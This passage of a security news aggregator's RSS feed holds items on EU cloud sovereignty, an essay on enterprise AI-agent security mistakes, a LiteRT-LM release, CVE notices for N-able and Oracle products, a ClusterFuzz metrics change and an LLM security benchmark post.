<p class="wp-block-paragraph">Mit Blick auf <a href="https://www.computerwoche.de/article/4192086/wie-souveran-sind-unsere-lieferketten-eigentlich-noch.html" target="_blank">IT-Lieferketten</a> bevorzugt das Cloud Sovereignty Framework die Anbieter, die ihre Landschaften transparent, resilient und so souverän betreiben, dass Systeme vor externen Einflüssen oder den Interessen Dritter geschützt sind.</p>



<p class="wp-block-paragraph">Für die Praxis heißt das beispielsweise, dass Datenpfade nachvollziehbar und regional kontrollierbar sein müssen, um zu gewährleisten, dass sie sich innerhalb des EU-Rechtsregimes befinden. Man könnte auch sagen: Keine souveräne Cloud ohne Interconnection-Strategie.</p>



<p class="wp-block-paragraph">Das ist die Stelle, an der Internetknoten ins Spiel kommen: Sie spielen eine Schlüsselrolle, wenn es darum geht, Bits und Bytes vor Ort zu verarbeiten. Denn wo immer sich Unternehmen, Netzwerke und Clouds über Internet Exchanges zusammenschließen, tauschen sie Informationen auf geografisch exakt definierbaren Pfaden aus.</p>



<p class="wp-block-paragraph">Die EU macht Internetknoten zwar nicht explizit, aber implizit zum Kriterium für den „Sovereignty Score“: Das Cloud Sovereignty Framework der EU evaluiert Cloud Services entlang lieferkettenbezogener, rechtlicher, operativer und technologischer Ziele.</p>



<p class="wp-block-paragraph">Dieser Gedanke findet sich auch in der <a href="https://www.computerwoche.de/article/4185386/nis2-ist-keine-compliance-ubung.html" target="_blank">NIS2-Richtlinie</a> wieder, wenn es um dezentrale und resiliente Backbones geht. Genau das sind wechselseitig abgesicherte Interconnection-Plattformen. Wenn alle Partner ihre Komponenten, die sie für andere bereitstellen, mehrfach redundant auslegen, wird das Gesamtsystem für jeden nicht nur verlässlicher, sondern auch unabhängiger.</p>



<h2 class="wp-block-heading">Ein Aufwand, der sich doppelt lohnt</h2>



<p class="wp-block-paragraph">Technische Fragen lassen sich meist einfach lösen, rechtliche eher nicht. Daher wird das CSF den europäischen Cloud-Markt wohl nicht über Nacht umkrempeln. Es kann jedoch die öffentliche Nachfrage gezielt lenken. Dadurch werden Hybrid-, Multicloud- und On-Premises-Ansätze wichtiger – die IT aber auch <a href="https://www.computerwoche.de/article/4050577/wie-komplexitat-ki-ambitionen-sabotiert.html" target="_blank">komplexer</a>.</p>



<p class="wp-block-paragraph">Dieser Mehraufwand lohnt sich allerdings in zweifacher Hinsicht:</p>



<ul class="wp-block-list">
<li>Einerseits, um langfristige Lock-in-Kosten zu verringern,</li>



<li>andererseits auch, um das Risiko zu reduzieren, später einen deutlich höheren Preis zu zahlen.</li>
</ul>



<p class="wp-block-paragraph">Das muss Europa nun bewusst in Kauf nehmen und den eigenen Provider-Markt entsprechend ausrichten und stärken. Wenn laut Bitkom für <strong>46 Prozent</strong> der Unternehmen der eigene Geschäftsbetrieb ohne Cloud <a href="https://www.bitkom.org/Presse/Presseinformation/Cloud-Ausfall-wuerde-fast-jedes-zweite-Unternehmen-lahmlegen#ll_unterlagen_cloud_ausfall" target="_blank" rel="noreferrer noopener">nicht mehr funktioniert</a>, dann heißt das auch: ohne Cloud keine funktionsfähige öffentliche Verwaltung. Und damit kein unabhängiger, souveräner und handlungsfähiger Staat. (fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Beitrag wurde im Rahmen des deutschsprachigen Experten-Netzwerks von Foundry veröffentlicht. Lust mitzumachen? </strong><a href="https://www.computerwoche.de/experten/" target="_blank"><strong>Jetzt bewerben</strong>!</a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Benchmarking Six Linux Distributions On The Framework Laptop 13 Pro]]></title>
<description><![CDATA[submitted by    /u/picastchio   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3702128/linux-tipps/benchmarking-six-linux-distributions-on-the-framework-laptop-13-pro/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702128/linux-tipps/benchmarking-six-linux-distributions-on-the-framework-laptop-13-pro/</guid>
<pubDate>Tue, 04 Aug 2026 04:57:17 +0200</pubDate>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/picastchio"> /u/picastchio </a> <br> <span><a href="https://www.phoronix.com/review/framework-laptop-13-pro-linux">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1vej28n/benchmarking_six_linux_distributions_on_the/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Three AI security mistakes that will haunt enterprises]]></title>
<description><![CDATA[There is a lot of talk about the coming enterprise AI reality, in which AI finally arrives in production systems. You might not know it, but this reality—or nightmare, depending on how you handle it—is already happening.



It all starts with a “pilot,” a “prototype,” or a “side project.” Maybe s...]]></description>
<link>https://tsecurity.de/de/3702093/ai-nachrichten/three-ai-security-mistakes-that-will-haunt-enterprises/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702093/ai-nachrichten/three-ai-security-mistakes-that-will-haunt-enterprises/</guid>
<pubDate>Tue, 04 Aug 2026 04:13:14 +0200</pubDate>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">There is a lot of talk about the coming enterprise AI reality, in which AI finally arrives in production systems. You might not know it, but this reality—or nightmare, depending on how you handle it—is already happening.</p>



<p class="wp-block-paragraph">It all starts with a “pilot,” a “prototype,” or a “side project.” Maybe someone builds an internal dashboard with an agent. The dashboard quickly becomes indispensable, and all of a sudden the experiment becomes production. Along the way, no one thought to ask the boring, inconvenient questions: What exactly was pulled from npm, PyPI, or Docker Hub? How is (or was) authentication configured? Is anyone watching for supply chain attacks against the tools and libraries the agents chose?</p>



<p class="wp-block-paragraph">And it’s not just a one-off project here or a couple of applications there. AI is enabling organizations to generate more code and ship more products and projects, more quickly, than ever before. By the time security teams get a look, the business is hooked and there’s no turning back. An actual nightmare has begun.</p>



<p class="wp-block-paragraph">There are three major problems that make the nightmare real. </p>



<h2 class="wp-block-heading">Components you never explicitly chose</h2>



<p class="wp-block-paragraph">When you ask an AI agent to build an app, it doesn’t just spit out a single script. It quietly assembles an entire ecosystem around whatever problem you’ve described to it. It pulls in a web framework, grabs a bunch of libraries, stands up databases, and then it potentially builds everything on dependencies in container images.</p>



<p class="wp-block-paragraph">From a productivity perspective, this is awesome. However, from a security standpoint, it’s worrisome, to say the least. When I’ve built apps like this myself, I couldn’t begin to tell you all of the components that were being used unless I went back and asked the agent to explain itself.</p>



<p class="wp-block-paragraph">We live in a world where anyone can publish to npm or PyPI, and we’ve seen attackers slip malicious packages into those ecosystems or compromise ones that are widely used. Some of the recent incidents have involved security and devops tools themselves pulling a compromised dependency, running it as part of CI/CD with elevated privileges, and quietly exfiltrating secrets or tampering with builds. I personally experienced this type of compromise a couple of months ago, and had to update all of my credentials in GitHub.</p>



<p class="wp-block-paragraph">Pulling unvetted code is bad; now layer AI agents on top of that. They default to whatever is easiest to discover and integrate. If a package solves a problem in front of the agent, the agent will add it. This is the old “download a random library from the Internet” problem, but now it’s on autopilot, at scale, and moving at a pace we’ve never seen before.</p>



<p class="wp-block-paragraph">To solve this problem, we must provide the agents with an innate sense of our risk tolerance, an approved components list, our desires around logging, etc. We can do this with spec files and what the industry calls constitutions. Collectively, this is called harness engineering, which we will talk more about later.</p>



<h2 class="wp-block-heading">Skills shifting from code to architecture</h2>



<p class="wp-block-paragraph">There has been a lot of hand-wringing about <a href="https://www.infoworld.com/article/4065771/why-we-need-junior-developers.html" data-type="link" data-id="https://www.infoworld.com/article/4065771/why-we-need-junior-developers.html">whether junior developers</a> will ever <a href="https://www.infoworld.com/article/4152683/what-next-for-junior-developers.html" data-type="link" data-id="https://www.infoworld.com/article/4152683/what-next-for-junior-developers.html">really learn to code</a> if AI is doing all of their coding for them.</p>



<p class="wp-block-paragraph">That’s not what worries me.</p>



<p class="wp-block-paragraph">I think it’s fine to let an agent spit out code. It’s a job they are really good at. What they are not really good at is identifying and avoiding problems in code.</p>



<p class="wp-block-paragraph">I haven’t written code in quite some time. I can, but it doesn’t make sense for me to do so. What is worth my while is noticing when an agent suggests something dumb or even dangerous (or both).</p>



<p class="wp-block-paragraph">For example, while working on a recent personal project, an agent proposed exposing a memory server on the public Internet with no authentication. The agent wired things up so smoothly that, at first glance, everything looked fine and just worked. But then I paused and asked, “Wait, how is this actually authenticating? Where’s the password, secret token, or OAuth in this flow?” Turns out it wasn’t authenticating and there was no password. If I hadn’t taken that beat—and then argued with the agent for a while—the app would have gone live with no protection.</p>



<p class="wp-block-paragraph">So, the skills issue isn’t about whether we will lose the ability to code but rather whether we have the ability to ask questions and be discerning, and whether we have the understanding to know when something doesn’t look or even feel right. Do organizations have people who know what a dangerous software pattern looks like when the agent suggests it? You need people who can recognize when an authentication flow is too permissive, when a data store should never be exposed beyond a certain boundary, and when an architecture has become such a steaming pile of technical debt that the right answer is to throw away a whole layer and rebuild it.</p>



<p class="wp-block-paragraph">You need people who know that “what works” isn’t the same as “what’s safe” or “what’s right” and who can argue back with the agent when the former doesn’t line up with the latter.</p>



<p class="wp-block-paragraph">It’s not about syntax. It’s about architecture, supply chain awareness, and the willingness to say, “We’re tearing this down and doing it right,” even when the prototype looks good on the surface. Teach your AI-assisted coders basic security principles, basic architectural patterns. The AI will teach them the more advanced stuff, as long as they keep asking questions.</p>



<h2 class="wp-block-heading">Agents with no harness</h2>



<p class="wp-block-paragraph">The third problem is that we’ve unleashed some very capable agents into our development workflows without treating them like first-class actors that need governance.</p>



<p class="wp-block-paragraph">Many organizations are wiring AI assistants into a repo or IDE and letting them scaffold projects and pipelines. Maybe they bolt on a security scanner and declare “AI enablement.” That’s not a governance model, that’s optimism (and not even cautious optimism).</p>



<p class="wp-block-paragraph">Indeed, a code-generating agent with broad access to your repos, your CI/CD pipeline, and your artifact registries is effectively a hyper-productive and not-very-well-trained junior developer with access to the Internet and no ingrained sense of organizational policies. It can introduce new tools, new dependencies, and new patterns faster than your review processes can handle.</p>



<p class="wp-block-paragraph">In my personal projects, I’ve started to think of this as what AI coders call a harness-engineering problem. For every agent that’s responsible for building or wiring code, I try to put other agents in the loop that are responsible for tearing it down, at least conceptually. For example, one agent focuses on security and looks for obvious vulnerabilities and bad practices. Another looks at architecture and points out when the app design is veering into unmaintainable territory. A third looks at performance and reliability issues, which are themselves a kind of security concern when you think about things like denial of service and resource exhaustion. Pair this with constitutions that give the agents first principles on architecture, security, and design, and this is no longer vibe coding, it’s harness engineering at scale for all of your projects.</p>



<p class="wp-block-paragraph">What I am doing isn’t perfect; there is no perfect in this space, because these are non-deterministic, statistical tools. But, many organizations aren’t even doing this. In effect, their agents are freelancing. They’re vibe coding. They’re not constrained to trusted registries or hardened base images. They’re not required to log their decisions in a way that security can audit. No one owns the harness, and that means a lot of implementation decisions have fully shifted from humans to systems that no one is really watching.</p>



<h2 class="wp-block-heading">New problems require new thinking</h2>



<p class="wp-block-paragraph">The enterprise AI nightmare is not a killer robot; it’s the erosion of our ability to see and control what’s running in our own environments at the exact moment our velocity is exploding. The danger is in ceding your agency. It’s in shipping applications that internal and external customers love—and don’t want to give up—but inherently aren’t safe. Right now, someone in your organization is using AI to build a capable app, pulling in who knows what from who knows where and adding it to your infrastructure.</p>



<p class="wp-block-paragraph">The good news is that these problems are identifiable. They are also solvable, although it will take a new form of thinking than what solved problems in the past. You must think statistically, and declare constitutions with first principles. You can standardize trusted stacks and registries. You can retrain people around architectural security rather than just “secure coding.” You can start treating agent harnesses as systems that deserve design reviews and edits.</p>



<p class="wp-block-paragraph">But, none of that can happen until the enterprise is willing to admit that the nightmare is already here.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub: v0.15.0]]></title>
<description><![CDATA[🍎 Apple Foundation Framework

Apple FM Adapter: Shipped a new Apple Foundation framework adapter natively integrating Apple's backend with the LiteRT-LM runtime for fast text and multimodal (vision/audio) execution featuring Gemma4 models, thanks to john-rocky's contributions!
Concurrency & Stabi...]]></description>
<link>https://tsecurity.de/de/3702057/downloads/github-v0150/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702057/downloads/github-v0150/</guid>
<pubDate>Tue, 04 Aug 2026 02:58:12 +0200</pubDate>
<content:encoded><![CDATA[<div class="github-feed-entry"><h3>🍎 Apple Foundation Framework</h3>
<ul>
<li><strong>Apple FM Adapter:</strong> Shipped a new Apple Foundation framework adapter natively integrating Apple's backend with the LiteRT-LM runtime for fast text and multimodal (vision/audio) execution featuring Gemma4 models, thanks to <a href="https://github.com/john-rocky">john-rocky</a>'s contributions!</li>
<li><strong>Concurrency &amp; Stability:</strong> Resolved re-entrancy issues on concurrent engine initializations.</li>
</ul>
<h3>🛠️ LiteRT-LM CLI</h3>
<ul>
<li><strong>Centralized <code>config.json</code> System:</strong> Introduced configuration file support for the LiteRT-LM CLI to define global defaults and per-model settings (such as specialized hardware backends, thinking budgets, and context window sizes) without needing to pass verbose command-line flags.</li>
<li><strong>Strict Parameter Precedence:</strong> Execution parameters follow a clear hierarchy: Runtime arguments &gt; Model-specific config &gt; Global defaults &gt; Model metadata &gt; Engine fallbacks. For more details, see the <a href="https://developers.google.com/edge/litert-lm/cli/configuration" rel="nofollow">CLI Configuration guide</a>.</li>
</ul>
<h3>🌐 JavaScript API &amp; Web Application (<code>LiteRT-LM.js</code>)</h3>
<ul>
<li><strong>Gemma 4 Web Support:</strong> <a href="https://huggingface.co/litert-community/gemma-4-12B-it-litert-lm/blob/main/gemma-4-12B-it-web.litertlm" rel="nofollow">Gemma 4 12B</a>, <a href="https://huggingface.co/litert-community/gemma-4-26B-A4B-it-litert-lm/blob/main/gemma-4-26B-A4B-it-web.litertlm" rel="nofollow">Gemma 4 26B A4B</a>, and <a href="https://huggingface.co/litert-community/gemma-4-31B-it-litert-lm/blob/main/gemma-4-31B-it-web.litertlm" rel="nofollow">Gemma 4 31B</a> are officially supported on web.</li>
<li><strong>Memory Efficiency:</strong> Added a new <code>use_autosized_ringbuffers</code> option that improves long context memory efficiency.</li>
<li><strong>Tool Calling Capabilities:</strong> Added <code>AutoToolChat</code>, which automatically runs tool calls that the model emits.</li>
</ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Secure AI Agents, MCP Servers, and LLM Apps in Production]]></title>
<description><![CDATA[AI agents, MCP servers, and LLM apps break the core AppSec assumption that applications do what their code says. This guide walks through a practical see-fix-protect framework: a five-layer agentic AI attack surface map, a 12-point misconfiguration checklist, an evidence-based triage matrix, runt...]]></description>
<link>https://tsecurity.de/de/3702002/ai-nachrichten/how-to-secure-ai-agents-mcp-servers-and-llm-apps-in-production/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702002/ai-nachrichten/how-to-secure-ai-agents-mcp-servers-and-llm-apps-in-production/</guid>
<pubDate>Tue, 04 Aug 2026 02:27:31 +0200</pubDate>
<content:encoded><![CDATA[<p>AI agents, MCP servers, and LLM apps break the core AppSec assumption that applications do what their code says. This guide walks through a practical see-fix-protect framework: a five-layer agentic AI attack surface map, a 12-point misconfiguration checklist, an evidence-based triage matrix, runtime guardrails, and system prompt hardening — plus a maturity self-assessment aligned to NIST AI RMF, OWASP AIMA, ISO/IEC 42001, and the EU AI Act.</p>
<p>The post <a href="https://www.marktechpost.com/2026/08/03/how-to-secure-ai-agents-mcp-servers-and-llm-apps-in-production/">How to Secure AI Agents, MCP Servers, and LLM Apps in Production</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[US tech giants invited to discuss AI security tests at White House]]></title>
<description><![CDATA[Technology giants Meta and Anthropic will be among the companies invited to the White House on Tuesday to discuss a voluntary framework under which America’s leading artificial intelligence (AI) developers could give the government early access to their most advanced models for testing their hack...]]></description>
<link>https://tsecurity.de/de/3701837/it-security-nachrichten/us-tech-giants-invited-to-discuss-ai-security-tests-at-white-house/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701837/it-security-nachrichten/us-tech-giants-invited-to-discuss-ai-security-tests-at-white-house/</guid>
<pubDate>Tue, 04 Aug 2026 01:31:06 +0200</pubDate>
<content:encoded><![CDATA[Technology giants Meta and Anthropic will be among the companies invited to the White House on Tuesday to discuss a voluntary framework under which America’s leading artificial intelligence (AI) developers could give the government early access to their most advanced models for testing their hacking capabilities.
Reuters reported on Monday that the Trump administration has finalised the details of voluntary cybersecurity tests ‌to measure the hacking capabilities of the most advanced American AI...]]></content:encoded>
</item>
<item>
<title><![CDATA[Attackers exploit N-able N-central flaw to reach managed endpoints (CVE-2026-18577)]]></title>
<description><![CDATA[Attackers are exploiting an authentication bypass vulnerability (CVE-2026-18577) in N-able N-central, a remote monitoring and management (RMM) solution widely used by managed service providers, to gain access to managed endpoints. How the flaw was discovered “On July 31, 2026, N‑able saw an incre...]]></description>
<link>https://tsecurity.de/de/3701660/it-security-nachrichten/attackers-exploit-n-able-n-central-flaw-to-reach-managed-endpoints-cve-2026-18577/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701660/it-security-nachrichten/attackers-exploit-n-able-n-central-flaw-to-reach-managed-endpoints-cve-2026-18577/</guid>
<pubDate>Mon, 03 Aug 2026 20:25:21 +0200</pubDate>
<content:encoded><![CDATA[<p>Attackers are exploiting an authentication bypass vulnerability (CVE-2026-18577) in N-able N-central, a remote monitoring and management (RMM) solution widely used by managed service providers, to gain access to managed endpoints. How the flaw was discovered “On July 31, 2026, N‑able saw an increase in licensing issues for our on-premises N‑central customers. Licensing issues are not uncommon, but the volume was high and the engineering and security teams were engaged,” N-able shared. “On the morning of … <a href="https://www.helpnetsecurity.com/2026/08/03/cve-2026-18577-n-able-n-central-vulnerability/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/08/03/cve-2026-18577-n-able-n-central-vulnerability/">Attackers exploit N-able N-central flaw to reach managed endpoints (CVE-2026-18577)</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Orchard: An open framework for scalable agentic AI]]></title>
<description><![CDATA[Orchard is an open-source framework for the research community to train and evaluate AI agents across task types. It reduces complexity while supporting strong performance from smaller models by enabling researchers to reuse the same infrastructure.
The post Orchard: An open framework for scalabl...]]></description>
<link>https://tsecurity.de/de/3701626/ai-nachrichten/orchard-an-open-framework-for-scalable-agentic-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701626/ai-nachrichten/orchard-an-open-framework-for-scalable-agentic-ai/</guid>
<pubDate>Mon, 03 Aug 2026 20:24:19 +0200</pubDate>
<content:encoded><![CDATA[<p>Orchard is an open-source framework for the research community to train and evaluate AI agents across task types. It reduces complexity while supporting strong performance from smaller models by enabling researchers to reuse the same infrastructure.</p>
<p>The post <a href="https://www.microsoft.com/en-us/research/blog/orchard-an-open-framework-for-scalable-agentic-ai/">Orchard: An open framework for scalable agentic AI</a> appeared first on <a href="https://www.microsoft.com/en-us/research">Microsoft Research</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-60675 | Oracle Applications Framework up to 12.2.15 Search Bean access control]]></title>
<description><![CDATA[A vulnerability has been found in Oracle Applications Framework up to 12.2.15 and classified as critical. This impacts an unknown function of the component Search Bean. This manipulation causes improper access controls.

This vulnerability appears as CVE-2026-60675. The attack may be initiated re...]]></description>
<link>https://tsecurity.de/de/3701462/sicherheitsluecken/cve-2026-60675-oracle-applications-framework-up-to-12215-search-bean-access-control/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701462/sicherheitsluecken/cve-2026-60675-oracle-applications-framework-up-to-12215-search-bean-access-control/</guid>
<pubDate>Mon, 03 Aug 2026 20:20:47 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/product/oracle:applications_framework">Oracle Applications Framework up to 12.2.15</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. This impacts an unknown function of the component <em>Search Bean</em>. This manipulation causes improper access controls.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2026-60675">CVE-2026-60675</a>. The attack may be initiated remotely. There is no available exploit.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-60676 | Oracle Applications Framework up to 12.2.15 Search Bean privileges management]]></title>
<description><![CDATA[A vulnerability was found in Oracle Applications Framework up to 12.2.15 and classified as critical. Affected is an unknown function of the component Search Bean. Such manipulation leads to improper privilege management.

This vulnerability is traded as CVE-2026-60676. The attack may be launched ...]]></description>
<link>https://tsecurity.de/de/3701463/sicherheitsluecken/cve-2026-60676-oracle-applications-framework-up-to-12215-search-bean-privileges-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701463/sicherheitsluecken/cve-2026-60676-oracle-applications-framework-up-to-12215-search-bean-privileges-management/</guid>
<pubDate>Mon, 03 Aug 2026 20:20:47 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/oracle:applications_framework">Oracle Applications Framework up to 12.2.15</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. Affected is an unknown function of the component <em>Search Bean</em>. Such manipulation leads to improper privilege management.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-60676">CVE-2026-60676</a>. The attack may be launched remotely. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-60684 | Oracle Applications Framework up to 12.2.15 Upload Attachments improper authorization]]></title>
<description><![CDATA[A vulnerability has been found in Oracle Applications Framework up to 12.2.15 and classified as critical. The impacted element is an unknown function of the component Upload Attachments. This manipulation causes improper authorization.

This vulnerability is registered as CVE-2026-60684. Remote e...]]></description>
<link>https://tsecurity.de/de/3701464/sicherheitsluecken/cve-2026-60684-oracle-applications-framework-up-to-12215-upload-attachments-improper-authorization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701464/sicherheitsluecken/cve-2026-60684-oracle-applications-framework-up-to-12215-upload-attachments-improper-authorization/</guid>
<pubDate>Mon, 03 Aug 2026 20:20:47 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/product/oracle:applications_framework">Oracle Applications Framework up to 12.2.15</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. The impacted element is an unknown function of the component <em>Upload Attachments</em>. This manipulation causes improper authorization.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-60684">CVE-2026-60684</a>. Remote exploitation of the attack is possible. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub: 2.35.6: [Metrics] Add preemption metrics and accumulation logic (#5396)]]></title>
<description><![CDATA[b/538558303
Note: this PR is chained with
#5394
Problem
When a preemption occurs, we were only recording the duration of the
active fuzzing round as wasted time. If a task is preempted mid-way, all
previous successful rounds in that same task are also completely wasted
since the task never reache...]]></description>
<link>https://tsecurity.de/de/3701345/it-security-tools/github-2356-metrics-add-preemption-metrics-and-accumulation-logic-5396/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701345/it-security-tools/github-2356-metrics-add-preemption-metrics-and-accumulation-logic-5396/</guid>
<pubDate>Mon, 03 Aug 2026 20:20:00 +0200</pubDate>
<content:encoded><![CDATA[<div class="github-feed-entry"><p>b/538558303</p>
<p><em>Note: this PR is chained with<br>
<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5002338817" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5394" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5394/hovercard" href="https://github.com/google/clusterfuzz/pull/5394">#5394</a></em></p>
<h3>Problem</h3>
<p>When a preemption occurs, we were only recording the duration of the<br>
active fuzzing round as wasted time. If a task is preempted mid-way, all<br>
previous successful rounds in that same task are also completely wasted<br>
since the task never reaches postprocess. This leads to a significant<br>
underestimation of wasted time.</p>
<h3>Proposed Solution</h3>
<p>Enhanced time tracking to capture the waste across the entire fuzzing<br>
session while maintaining metric accuracy.</p>
<ul>
<li>Added <code>FUZZER_PREEMPTED_TOTAL_FUZZ_TIME</code> and<br>
<code>JOB_PREEMPTED_TOTAL_FUZZ_TIME</code> metrics to <code>monitoring_metrics.py</code>.</li>
<li>Enhanced <code>_TrackFuzzTime</code> in <code>fuzz_task.py</code> to track accumulated<br>
wasted time across all rounds of a session (<code>_accumulated_wasted_time</code>).</li>
<li>Upon preemption, the callback now emits the Total Accumulated Session<br>
Time (Current Round + Previous Rounds) to <code>preempted_total_time</code>.</li>
<li>To fix subtraction math in dashboards, the callback also emits the<br>
duration of the interrupted round only to <code>total_time</code>, ensuring it<br>
reflects the attempted time without gaps.</li>
<li>Added <code>tracker.preempted</code> flag to skip metric emission in <code>__exit__</code><br>
for interrupted rounds and avoid double counting.</li>
</ul>
<h3>Validation</h3>
<p>Validated in dev environment.</p>
<p><a target="_blank" rel="noopener noreferrer" href="https://private-user-images.githubusercontent.com/31678236/628158999-64f39315-5ca6-4b4c-830b-428f0661792a.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3ODU3ODE0OTksIm5iZiI6MTc4NTc4MTE5OSwicGF0aCI6Ii8zMTY3ODIzNi82MjgxNTg5OTktNjRmMzkzMTUtNWNhNi00YjRjLTgzMGItNDI4ZjA2NjE3OTJhLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNjA4MDMlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjYwODAzVDE4MTk1OVomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWE2NmU4MzRlOGM1MmY1MGY3OGQ5MmY4NzAwMzRlNzZiYmFjY2IwMzkzODQ3Zjg5MGU5Zjc5ZWM1OGExODM4ZDAmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JnJlc3BvbnNlLWNvbnRlbnQtdHlwZT1pbWFnZSUyRnBuZyJ9.JHNNaQfKcD02mZQo5Ypn8ix4ZSMjkp2j_29ETCfuMd8"></a></p>
<p><a target="_blank" rel="noopener noreferrer" href="https://private-user-images.githubusercontent.com/31678236/628159061-96bd42ac-23af-4ac4-8d80-da4b09fdeb88.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3ODU3ODE0OTksIm5iZiI6MTc4NTc4MTE5OSwicGF0aCI6Ii8zMTY3ODIzNi82MjgxNTkwNjEtOTZiZDQyYWMtMjNhZi00YWM0LThkODAtZGE0YjA5ZmRlYjg4LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNjA4MDMlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjYwODAzVDE4MTk1OVomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTgyMjczZWU5YTY5MTFhNWE3Y2Q5NTk3ZTkwMjllMTA2YTM1ODNkODMwNzQxODcyYzhkZjE3NzkyNjBiNzczNDQmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JnJlc3BvbnNlLWNvbnRlbnQtdHlwZT1pbWFnZSUyRnBuZyJ9.bYvXzx90CfMhPoFyuQiI4HQCQ-rlpH86MJl6kzkq0AQ"></a></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Benchmarking the Agentic SOC: How we evaluate LLMs for security workflows]]></title>
<description><![CDATA[Public leaderboards can't tell you which LLM to trust in your SOC, so Elastic built an evaluation framework that grades models on the work (tool calls, execution traces, blind judging) across Agent Builder, Attack Discovery, and automatic migration.]]></description>
<link>https://tsecurity.de/de/3701341/it-security-nachrichten/benchmarking-the-agentic-soc-how-we-evaluate-llms-for-security-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701341/it-security-nachrichten/benchmarking-the-agentic-soc-how-we-evaluate-llms-for-security-workflows/</guid>
<pubDate>Mon, 03 Aug 2026 20:19:37 +0200</pubDate>
<content:encoded><![CDATA[Public leaderboards can't tell you which LLM to trust in your SOC, so Elastic built an evaluation framework that grades models on the work (tool calls, execution traces, blind judging) across Agent Builder, Attack Discovery, and automatic migration.]]></content:encoded>
</item>
<item>
<title><![CDATA[The Assets You Don’t Know You Own: Attack Surface Sprawl Is a Discovery Problem, Not a Tooling Problem]]></title>
<description><![CDATA[Modern organizations no longer operate within a fixed network perimeter. Cloud services, remote work, third-party integrations, and rapid digital expansion have made the boundary between "inside" and "outside" for the enterprise increasingly difficult to define. 


Attackers exploit this ambiguit...]]></description>
<link>https://tsecurity.de/de/3701325/it-security-nachrichten/the-assets-you-dont-know-you-own-attack-surface-sprawl-is-a-discovery-problem-not-a-tooling-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701325/it-security-nachrichten/the-assets-you-dont-know-you-own-attack-surface-sprawl-is-a-discovery-problem-not-a-tooling-problem/</guid>
<pubDate>Mon, 03 Aug 2026 20:19:02 +0200</pubDate>
